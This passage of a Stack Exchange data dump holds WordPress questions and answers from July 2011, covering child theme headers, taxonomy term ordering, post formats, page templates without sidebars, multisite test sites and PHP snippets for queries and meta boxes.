  <row Id="22693" PostTypeId="2" ParentId="9869" CreationDate="2011-07-12T02:44:11.020" Score="0" ViewCount="" Body="&lt;p&gt;wp_rewrite is not initialized in register_activation_hook()&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your hook activation code add this line....&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_option('reset_permalink_structure',true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In your plugin code add....&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('admin_init',function(){&#xA;        if( get_option('reset_permalink_structure') ) {&#xA;            global $wp_rewrite;&#xA;            $my_permalinks = get_option('permalink_structure');&#xA;            $wp_rewrite-&amp;gt;set_permalink_structure($my_permalinks);&#xA;            $wp_rewrite-&amp;gt;flush_rules();&#xA;            add_option('reset_permalink_structure',false);&#xA;        }&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6955" LastEditorUserId="6955" LastEditorDisplayName="" LastEditDate="2011-07-12T03:15:00.697" LastActivityDate="2011-07-12T03:15:00.697" />
  <row Id="22694" PostTypeId="1" CreationDate="2011-07-12T02:52:23.893" Score="0" ViewCount="86" Body="&lt;p&gt;Why doesn't this work?! &lt;code&gt;&amp;lt;?php echo get_post_format_link('standard');?&amp;gt;&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;:( Any hints? All the other formats work.&lt;/p&gt;&#xA;" OwnerUserId="676" LastActivityDate="2011-07-12T05:45:08.113" Title="How to Link to all posts that have the Standard Post Format" Tags="&lt;posts&gt;&lt;post-formats&gt;" AnswerCount="2" />
  <row Id="22695" PostTypeId="2" ParentId="22688" CreationDate="2011-07-12T02:57:24.703" Score="7" ViewCount="" Body="&lt;p&gt;Envato has &lt;a href=&quot;http://themeforest.net/&quot; rel=&quot;nofollow&quot;&gt;Theme Forest&lt;/a&gt; and &lt;a href=&quot;http://codecanyon.net/&quot; rel=&quot;nofollow&quot;&gt;Code Canyon&lt;/a&gt;. I don't know how the GPL lovin' WordPress community feels about it, but my company has bought things from there when we needed to. They aren't updateable from the wp-admin though, so...&lt;/p&gt;&#xA;" OwnerUserId="10" LastActivityDate="2011-07-12T02:57:24.703" CommentCount="1" />
  <row Id="22696" PostTypeId="2" ParentId="22694" CreationDate="2011-07-12T03:07:19.343" Score="1" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$args = array(&#xA;'showposts' =&amp;gt; 9,&#xA;'tax_query' =&amp;gt; array(&#xA;        array( 'taxonomy' =&amp;gt; 'post_format',&#xA;              'field' =&amp;gt; 'slug',&#xA;              'terms' =&amp;gt; array('post-format-video','post-format-quote'),&#xA;              'operator' =&amp;gt; 'NOT IN'&#xA;              )&#xA;        )&#xA;);&#xA;query_posts( $args );&#xA;while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;&#xA;    &amp;lt;?php the_title(); ?&amp;gt;&#xA;&#xA;&amp;lt;?php endwhile; wp_reset_query(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;from &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.tristarwebdesign.co.uk/blog/wordpress/query-by-post-format-in-wordpress/&quot; rel=&quot;nofollow&quot;&gt;http://www.tristarwebdesign.co.uk/blog/wordpress/query-by-post-format-in-wordpress/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="370" LastActivityDate="2011-07-12T03:07:19.343" CommentCount="3" />
  <row Id="22697" PostTypeId="1" AcceptedAnswerId="22699" CreationDate="2011-07-12T03:09:06.093" Score="0" ViewCount="43" Body="&lt;p&gt;I am trying to make a child theme of the &lt;a href=&quot;http://wordpress.org/extend/themes/toolbox/&quot; rel=&quot;nofollow&quot;&gt;toolbox&lt;/a&gt; theme and use it in my multisite WP 3.2 install.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created a folder called &lt;code&gt;wp-content/themes/charlie-repair-toolkit/&lt;/code&gt; then I created &lt;code&gt;style.css&lt;/code&gt; in the folder with the following information (some of which is copied from the original theme):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/*&#xA;Theme Name: Charlie's Repair&#xA;Theme URI: http://wordpress.org/extend/themes/toolbox/&#xA;Author: Mike Wills&#xA;Author URI: http://mikewills.me&#xA;Theme: toolbox&#xA;Description: Based on the Toolbox theme from Automatic. This site is for Charlie's Repair&#xA;Version: 0.1&#xA;License: GNU General Public License&#xA;License URI: license.txt&#xA;Tags: custom-menu, sticky-post, microformats, rtl-language-support, translation-ready&#xA;&#xA;This theme, like WordPress, is licensed under the GPL.&#xA;Use it to make something cool, have fun, and share what you've learned with others.&#xA;*/&#xA;&#xA;@import url(&quot;../toolbox/style.css&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The theme is not shown in the Network Admin or the site's dashboard. Any thoughts as to what I am not doing right?&lt;/p&gt;&#xA;" OwnerUserId="104" LastActivityDate="2011-07-12T04:23:47.423" Title="Child Theme Based on Toolbox Not Found" Tags="&lt;multisite&gt;&lt;child-theme&gt;&lt;3.2&gt;" AnswerCount="2" />
  <row Id="22698" PostTypeId="1" AcceptedAnswerId="22730" CreationDate="2011-07-12T04:21:27.170" Score="1" ViewCount="46" Body="&lt;p&gt;I'm using &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_the_terms&quot; rel=&quot;nofollow&quot;&gt;get_the_terms&lt;/a&gt; to display 2 terms on a post, associated with the taxonomy &quot;location&quot;. The terms are the suburb and the city. The location taxonomy is hierarchical so the suburb is a child of the city. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the post edit screen a user selects their city, followed by their suburb (which lists the suburbs based on the city they pick). Both are selectable from drop down menus.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is that when the terms are outputted onto the post, it lists them alphabetically, and in some instances the City will be listed first:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Alpha (City), Beta (Suburb) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I need them to reflect their Hierarchy so they are always listed by Suburb first, then city.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Beta (Suburb), Alpha, (City)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is my code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$terms = get_the_terms ($post-&amp;gt;id, 'location');&#xA;&#xA;if ( !is_wp_error($terms)) : ?&amp;gt;&#xA;&#xA;&amp;lt;li id=&quot;location&quot;&amp;gt;&#xA;&#xA;&amp;lt;?php unset($locations);&#xA;foreach ($terms as $term) {&#xA;    $locations[] = $term-&amp;gt;name;&#xA;    }&#xA;&#xA;$location = join(&quot;, &quot;, $locations);&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;?php echo $location; ?&amp;gt;&#xA;&#xA;&amp;lt;/li&amp;gt;&#xA;&amp;lt;?php endif ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Would this be better achieved with &lt;a href=&quot;http://codex.wordpress.org/Template_Tags/wp_list_categories&quot; rel=&quot;nofollow&quot;&gt;wp_list_categories&lt;/a&gt; somehow? It seems there is an option &quot;hierarchical&quot; but unsure on how to use it so it just grabs the post's terms and not everything &lt;/p&gt;&#xA;" OwnerUserId="4999" LastEditorUserId="4999" LastEditorDisplayName="" LastEditDate="2011-07-12T05:05:41.483" LastActivityDate="2011-07-12T12:21:36.040" Title="How to list 2 taxonomy terms for a post, based on their hierarchy" Tags="&lt;taxonomy&gt;&lt;terms&gt;" AnswerCount="2" />
  <row Id="22699" PostTypeId="2" ParentId="22697" CreationDate="2011-07-12T04:22:24.850" Score="1" ViewCount="" Body="&lt;p&gt;You're missing the Template Name for the parent theme. It should look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/*&#xA;Theme Name: Charlie's Repair&#xA;Theme URI: http://wordpress.org/extend/themes/toolbox/&#xA;Author: Mike Wills&#xA;Author URI: http://mikewills.me&#xA;Template: toolbox&#xA;Description: Based on the Toolbox theme from Automatic. This site is for Charlie's Repair&#xA;Version: 0.1&#xA;License: GNU General Public License&#xA;License URI: license.txt&#xA;Tags: custom-menu, sticky-post, microformats, rtl-language-support, translation-ready&#xA;&#xA;This theme, like WordPress, is licensed under the GPL.&#xA;Use it to make something cool, have fun, and share what you've learned with others.&#xA;*/&#xA;&#xA;@import url(&quot;../toolbox/style.css&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where you have &quot;Theme: toolbox&quot; it needs to be &quot;Template: toolbox&quot;&lt;/p&gt;&#xA;" OwnerUserId="5339" LastActivityDate="2011-07-12T04:22:24.850" CommentCount="2" />
  <row Id="22700" PostTypeId="2" ParentId="22697" CreationDate="2011-07-12T04:23:47.423" Score="1" ViewCount="" Body="&lt;p&gt;Doing this quickly via mObile phone. I think you need to change 'Theme: toolbox' to 'Template: toolbox'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's my standard for Thematic child themes.&lt;/p&gt;&#xA;" OwnerUserId="6956" LastActivityDate="2011-07-12T04:23:47.423" />
  <row Id="22701" PostTypeId="2" ParentId="22698" CreationDate="2011-07-12T04:45:55.340" Score="0" ViewCount="" Body="&lt;p&gt;I think the easiest way to accomplish this in your case would be to reverse the array.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach ($terms as $term) {&#xA;    $locations[] = $term-&amp;gt;name;&#xA;}&#xA;$locations = array_reverse($locations);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There are more complicated ways to do this, but I think this should work for your situation.&lt;/p&gt;&#xA;" OwnerUserId="4850" LastActivityDate="2011-07-12T04:45:55.340" CommentCount="2" />
  <row Id="22702" PostTypeId="1" CreationDate="2011-07-12T05:10:52.593" Score="0" ViewCount="72" Body="&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; I came by a reasonable alternative to the approach explained below, instead using a GIT repo and a WordPress Multisite plugin: &lt;a href=&quot;http://markmaunder.com/2011/08/19/deploymint-a-staging-and-deployment-system-for-wordpress/&quot; rel=&quot;nofollow&quot;&gt;Deploymint: a staging and deployment system for WordPress&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sites:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://jmonkeyengine.org&quot; rel=&quot;nofollow&quot;&gt;jmonkeyengine.org&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;test.jmonkeyengine.org&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;We have created a separate folder on our server, like &lt;code&gt;/root/sitetest/wwworg/&lt;/code&gt;, for the test.jmonkeyengine.org sub-domain (not multisite, just a custom created sub-domain).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We've also set up Webmin on the dedicated server hosting our sites. One of our developers has constructed a really handy script in Webmin's &quot;Custom Commands&quot;; at the click of a button an exact copy is made of our live site and moved over to test.jmonkeyengine.org where we can play around in a live environment at no risk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We'd like to enable WordPress Network, but it seems very likely that doing so would make it difficult, if not impossible, to maintain this method of site testing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not a very technical guy, but I'm seeing two possible options:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;We do a sub-directory install. This should hopefully enable the cloning&#xA;script to go about its business as usual, as there's no tricky&#xA;domain changes involved. If we still wanted to apply sub-domains, I&#xA;suppose maybe we could still do that by using the MU Domain Mapping&#xA;plugin, or by setting up our own masks(?). I don't know how well&#xA;that would go over with various SEO plugins though, e.g. analytics &amp;amp;&#xA;sitemaps. Furthermore, our site is not &quot;new&quot;, which apparently is required in order to make a sub-directory install possible.&lt;/li&gt;&#xA;&lt;li&gt;We do a sub-domain install (preferred). However instead of reassembling the cloned sites on test.jmonkeyengine.org (I assume we couldn't easily copy &lt;code&gt;jobs.jmonkeyengine.org&lt;/code&gt; to &lt;code&gt;jobs.test.jmonkeyengine.org&lt;/code&gt;) we'd point it to some new top level domain like&#xA;jmonkeytest.org, that could handle sub-domains. Maybe some changes&#xA;would have to be made in .htaccess and so forth either in the script&#xA;or by hand. Whether or not it'd be worth the otherwise convenient&#xA;test setup remains to be seen.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any experience with this type of setup?&lt;/p&gt;&#xA;" OwnerUserId="1845" LastEditorUserId="1845" LastEditorDisplayName="" LastEditDate="2011-08-25T02:56:56.627" LastActivityDate="2011-08-25T02:56:56.627" Title="How can we set up a solid test site with Network mode (sub-domains) enabled?" Tags="&lt;multisite&gt;&lt;migration&gt;&lt;network&gt;&lt;subdomains&gt;&lt;testing&gt;" CommentCount="3" FavoriteCount="2" />
  <row Id="22703" PostTypeId="2" ParentId="22191" CreationDate="2011-07-12T05:11:27.663" Score="1" ViewCount="" Body="&lt;p&gt;You could use a combination of the &lt;a href=&quot;http://wordpress.org/extend/plugins/members/&quot; rel=&quot;nofollow&quot;&gt;Members plugin&lt;/a&gt; to manage user roles (ie employee types or levels) along with the &lt;a href=&quot;http://wordpress.org/extend/plugins/custom-post-type-ui/&quot; rel=&quot;nofollow&quot;&gt;Custom Post Type UI plugin&lt;/a&gt; to manage various post types.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the Custom Post Type UI you could create posts types. Then you could allow or deny rights for various operations on each type of post separately (edit, publish, edit after publish, delete, submit for publish by an admin, view, edit other's posts) for each employee type role. You could create posts that an employee of type 1 could publish and be viewable only by other type 1 employees. Along side those, there could be some other post that employee type 1's could read but not publish too. And still another post type that could be viewable by the public. Etc, etc, etc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The combo of these two plugins would give you very granular control over what different types of employees would be able to do. Check out this &lt;a href=&quot;http://webtide.wordpress.com/2010/07/20/how-to-use-the-members-plugin-to-restrict-access-to-wordpress-3-0-custom-post-type/&quot; rel=&quot;nofollow&quot;&gt;simple example of restricting rights on one custom post type&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3837" LastActivityDate="2011-07-12T05:11:27.663" CommentCount="3" />
  <row Id="22704" PostTypeId="2" ParentId="22694" CreationDate="2011-07-12T05:32:13.880" Score="0" ViewCount="" Body="&lt;p&gt;When you assign a non-Standard post format to a post, a record gets added to the wp_term_relationships table. This record contains your post number and the term_taxonomy_id, which joins via wp_term_relationships to the post format in wp_terms. When you assign a Standard post format to a post, no record for post format is added to wp_term_relationships. If it was previously assigned another post format and changed to Standard, the record is removed from wp_term_relationships. Unfortunately, get_post_format_link relies on having that record in wp_term_relationships, so won't work with Standard post format. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, when I changed a post's post format to image, a record was added to wp_term_relationships, which eventually pointed to wp_terms &gt;&gt; post-format-image. When I changed the post's post format to Standard, this record disappeared. In WP's codebase, get_post_format_link uses get_term_by('slug', 'post-format-' . $format, 'post_format' ), and with the missing related post format record for Standard, we all lose. :-D &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This might answer your original question of why it doesn't work. I wish that I could offer a slick solution, especially given your immensely helpful WordPress posts!&lt;/p&gt;&#xA;" OwnerUserId="6957" LastEditorUserId="6957" LastEditorDisplayName="" LastEditDate="2011-07-12T05:45:08.113" LastActivityDate="2011-07-12T05:45:08.113" CommentCount="1" />
  <row Id="22706" PostTypeId="1" AcceptedAnswerId="22722" CreationDate="2011-07-12T06:43:50.313" Score="0" ViewCount="57" Body="&lt;p&gt;I have 3 shortcodes. Each of them will be displaying a list. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS&gt; the lists do NOT contain wordpress posts/pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any WordPress plugin that can achieve the purpose?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OR&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please suggest me a jQuery plugin that uses Ajax to fetch subsequent paged data and can work with my scenario. &lt;/p&gt;&#xA;" OwnerUserId="6076" LastActivityDate="2011-07-12T10:47:47.463" Title="WordPress/jQuery pagination plugin for multiple lists" Tags="&lt;plugin-recommendation&gt;&lt;jquery&gt;&lt;pagination&gt;&lt;ajax&gt;&lt;jquery-ui&gt;" AnswerCount="1" />
  <row Id="22707" PostTypeId="1" CreationDate="2011-07-12T07:02:52.460" Score="0" ViewCount="34" Body="&lt;p&gt;If I wanted to remove 1 or more sidebars when a certain page is called what is the best way to go about doing that?&lt;/p&gt;&#xA;" OwnerUserId="5825" LastEditorUserId="1381" LastEditorDisplayName="" LastEditDate="2011-07-12T08:14:14.503" LastActivityDate="2011-08-11T16:22:25.167" Title="Remove Sidebars from page" Tags="&lt;customization&gt;&lt;sidebar&gt;&lt;page-template&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="22708" PostTypeId="1" CreationDate="2011-07-12T07:23:09.667" Score="0" ViewCount="53" Body="&lt;p&gt;I have custom post type &quot;Book&quot; and custom taxonomy &quot;Author&quot; associated with books.&#xA;I have used remove_meta_box to hide default UI for taxonomy, because it was like tags where you can add multiple tags and select multiple tags for post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What i want was that only one author is associated with book. So i used add_meta_box to create select box for authors where admin can select one author from list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now authors list has grown beyond 3000 authors and select box does not seems to load it properly.....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't want to go back to original UI like tags....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any thing where i could give search, pagination and add functionality(add only one taxonomy) in meta box....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is code i am using..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;remove_meta_box('tagsdiv-book_author', 'book', 'normal');&#xA;&#xA;add_meta_box('custom-taxonomy-author-dropdown','Author','author_dropdowns_box','book','side','high');&#xA;&#xA;function author_dropdowns_box( $post ) {&#xA;    wp_nonce_field('custom-author-dropdown', 'author-dropdown-nonce');&#xA;    $terms = get_terms( 'book_author', 'hide_empty=0');&#xA;    $object_terms = wp_get_object_terms( $post-&amp;gt;ID, 'book_author', array('fields'=&amp;gt;'ids'));&#xA;&#xA;     echo &quot;Author:&quot;;&#xA;    echo &quot;&amp;lt;select id='bauthor' name='bauthor[]'&amp;gt;&quot;;&#xA;    echo &quot;&amp;lt;option value='0'&amp;gt;None&amp;lt;/option&amp;gt;&quot;;&#xA;    foreach ( $terms as $term ) {&#xA;&#xA;            if ( in_array($term-&amp;gt;term_id, $object_terms) ) {&#xA;                $parent_id = $term-&amp;gt;term_id;&#xA;                echo &quot;&amp;lt;option value='{$term-&amp;gt;term_id}' selected='selected'&amp;gt;{$term-&amp;gt;name}&amp;lt;/option&amp;gt;&quot;;&#xA;            } else {&#xA;                echo &quot;&amp;lt;option value='{$term-&amp;gt;term_id}'&amp;gt;{$term-&amp;gt;name}&amp;lt;/option&amp;gt;&quot;;&#xA;            }&#xA;&#xA;    }&#xA;    echo &quot;&amp;lt;/select&amp;gt;&amp;lt;br /&amp;gt;&quot;;&#xA;&#xA;}&#xA;&#xA;add_action('save_post','save_my_custom_taxonomy');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6960" LastEditorUserId="6961" LastEditorDisplayName="" LastEditDate="2011-07-13T06:28:18.387" LastActivityDate="2011-08-13T12:23:26.460" Title="Custom taxonomy huge list not loading properly in select box" Tags="&lt;custom-taxonomy&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="22709" PostTypeId="2" ParentId="22707" CreationDate="2011-07-12T07:56:36.440" Score="0" ViewCount="" Body="&lt;p&gt;Copy page.php from your theme and rename to create your custom template.&#xA;associate this template with page you want from admin-&gt;pages-&gt;edit page -&gt; select template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your template you can remove side bar as you want...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is more info about page templates &lt;a href=&quot;http://codex.wordpress.org/Pages#Page_Templates&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Pages#Page_Templates&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6961" LastActivityDate="2011-07-12T07:56:36.440" />
  <row Id="22710" PostTypeId="2" ParentId="22707" CreationDate="2011-07-12T07:57:37.877" Score="0" ViewCount="" Body="&lt;p&gt;You would want to create a &lt;a href=&quot;http://codex.wordpress.org/Templates&quot; rel=&quot;nofollow&quot;&gt;template&lt;/a&gt; for your page. In this template you would call your content but not the sidebar. Then you would assign this template to the pages you want in the editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a simple tutorial : &lt;a href=&quot;http://www.expand2web.com/blog/custom-page-template-wordpress/&quot; rel=&quot;nofollow&quot;&gt;http://www.expand2web.com/blog/custom-page-template-wordpress/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1381" LastActivityDate="2011-07-12T07:57:37.877" />
  <row Id="22711" PostTypeId="1" CreationDate="2011-07-12T08:13:31.683" Score="0" ViewCount="69" Body="&lt;p&gt;Custom Post Type = 'projects' with a Hierarchical Taxonomy = 'projects_category'&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;projects&#xA;- big-corporates&#xA;-- company one&#xA;---- first project 1&#xA;---- second project 1&#xA;---- third project 1&#xA;-- company two&#xA;---- first project 2&#xA;---- second project 2&#xA;-- company three&#xA;---- first project 3&#xA;---- second project 3&#xA;---- third project 3&#xA;- small-businesses&#xA;-- company four&#xA;---- first project 4&#xA;---- etc...&#xA;-- company five&#xA;-- company six&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Below I get a list of all projects listed in 'projects_category' under 'big-corporates' whereas I want to limit the list to just one project from each subcategory of 'big-corporates'.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    global $post;&#xA;    $args = array( 'post_type' =&amp;gt; 'projects', 'projects_category' =&amp;gt; 'big-corporates' );&#xA;    $myposts = get_posts( $args );&#xA;    foreach( $myposts as $post ) :  setup_postdata($post); ?&amp;gt;&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php the_title_attribute(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php #the_title(); ?&amp;gt;&amp;lt;?php $terms = get_the_term_list( $post-&amp;gt;ID, 'projects_category' ); $terms = strip_tags( $terms ); echo $terms; ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;?php endforeach; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am trying to achieve a list like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;company one (links to first project 1)&#xA;company two (links to first project 2)&#xA;company three (links to first project 3)&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I do that?&lt;/p&gt;&#xA;" OwnerUserId="4316" LastEditorUserId="4316" LastEditorDisplayName="" LastEditDate="2011-07-12T08:22:43.513" LastActivityDate="2011-07-12T10:59:11.010" Title="List one post only from each subcategory using get_posts?" Tags="&lt;custom-taxonomy&gt;&lt;get-posts&gt;" AnswerCount="1" />
  <row Id="22712" PostTypeId="1" CreationDate="2011-07-12T08:13:45.343" Score="0" ViewCount="36" Body="&lt;p&gt;&lt;strong&gt;UPDATE: Resolved! See here for more info:&lt;/strong&gt; &lt;a href=&quot;http://climbtothestars.org/archives/2007/02/24/remove-paging-from-wordpress-archives/&quot; rel=&quot;nofollow&quot;&gt;http://climbtothestars.org/archives/2007/02/24/remove-paging-from-wordpress-archives/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm about to finish a theme (currently at 1979design.se with dummy content) where I have an issue I can't solve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;'Portfolio' is built as an archive for my custom posts with template file archive-portfolio.php. This means I got alot for free when it comes to the loop - no need for special queries there. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question:&lt;/strong&gt; How do I turn off pagination? I know how to set up a query doing that, but I thought it would be nice to keep the loop intact, for once, when it comes to custom post types.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The big picture for portfolio: To use the left sidebar (the taxonomy items for portfolio custom post types) to make some nice jQuery fades to filter the portfolio-list. (Today only the 'no-javascript'-fallback works, with links to the taxonomy.php templlate. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd love to get this work and I'm more than happy to share the final solution for &lt;em&gt;'portfolio'&lt;/em&gt; with template files and jQuery filtering!&lt;/p&gt;&#xA;" OwnerUserId="6962" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-07-12T10:37:13.837" LastActivityDate="2011-07-12T10:37:13.837" Title="Disable pagination — but only on a custom-post archive template?" Tags="&lt;theme-development&gt;" CommentCount="1" />
  <row Id="22713" PostTypeId="2" ParentId="22688" CreationDate="2011-07-12T08:29:08.130" Score="1" ViewCount="" Body="&lt;p&gt;There's been a massive discussion about selling Premium themes but at the end of the day you own the copy right to all code/images which don't call on WordPress functions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also look at &lt;a href=&quot;http://www.mojo-themes.com/&quot; rel=&quot;nofollow&quot;&gt;Mojo Themes&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3365" LastActivityDate="2011-07-12T08:29:08.130" CommentCount="4" />
  <row Id="22714" PostTypeId="2" ParentId="22390" CreationDate="2011-07-12T08:57:42.470" Score="0" ViewCount="" Body="&lt;p&gt;Ended up resolving it by using this in the taxonomy template instead...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    /*&#xA;    Redirect To First Child&#xA;    */&#xA;    if (have_posts()) {&#xA;      while (have_posts()) {&#xA;        the_post();&#xA;        $pagekids = get_pages(&quot;child_of=&quot;.$post-&amp;gt;ID.&quot;&amp;amp;sort_column=menu_order&quot;);&#xA;        $firstchild = $pagekids[0];&#xA;        wp_redirect(get_permalink($firstchild-&amp;gt;ID));&#xA;      }&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;?&gt;&lt;/p&gt;&#xA;" OwnerUserId="4316" LastActivityDate="2011-07-12T08:57:42.470" />
  <row Id="22715" PostTypeId="1" CreationDate="2011-07-12T08:59:45.620" Score="0" ViewCount="41" Body="&lt;p&gt;I am stuck with this. I open the file default_widget.php inside wp-icludes folder, i want to remove the date displayed by the default recent post widget. I cannot find it! Pls help!!&lt;/p&gt;&#xA;" OwnerUserId="6043" LastActivityDate="2011-07-12T10:13:57.193" Title="How to remove date in Recent Post widget?" Tags="&lt;widgets&gt;" AnswerCount="1" />
  <row Id="22716" PostTypeId="1" AcceptedAnswerId="22717" CreationDate="2011-07-12T09:07:58.920" Score="0" ViewCount="41" Body="&lt;p&gt;I am currently building a website, that is heavily reliant on custom post types, 2 of my custom post types are &quot;Clients&quot; and &quot;Case Studies&quot;, now what I am wanting is a way to create a dropdown in the &quot;Case Studies&quot; custom post type so that I can select from the Clients that have already been added to the site? Is this possible, I assume it would be similar creating a relationship in database, and then pulling in the clients from the clients and table and placing them in a &lt;code&gt;&amp;lt;select&amp;gt;&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="6964" LastEditorUserId="6964" LastEditorDisplayName="" LastEditDate="2011-07-12T10:11:32.750" LastActivityDate="2011-07-12T10:11:32.750" Title="creating a foreign key like relationship with custom post types" Tags="&lt;custom-post-types&gt;&lt;loop&gt;&lt;the-loop&gt;" AnswerCount="1" />
  <row Id="22717" PostTypeId="2" ParentId="22716" CreationDate="2011-07-12T09:59:50.683" Score="1" ViewCount="" Body="&lt;p&gt;You can create relationships between posts / pages with the &lt;a href=&quot;http://wordpress.org/extend/plugins/posts-to-posts/&quot; rel=&quot;nofollow&quot;&gt;Posts 2 Posts&lt;/a&gt; plugin. (more info on the &lt;a href=&quot;https://github.com/scribu/wp-posts-to-posts/wiki&quot; rel=&quot;nofollow&quot;&gt;wiki&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could then &lt;a href=&quot;https://github.com/scribu/wp-posts-to-posts/wiki/Basic-usage&quot; rel=&quot;nofollow&quot;&gt;create a connexion&lt;/a&gt; between &lt;code&gt;Case Studies&lt;/code&gt; and &lt;code&gt;Clients&lt;/code&gt;, and associate them accordingly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For clarity, you should ask your second question in a separate question, as it is not related to the title of this thread.&lt;/p&gt;&#xA;" OwnerUserId="1381" LastActivityDate="2011-07-12T09:59:50.683" />
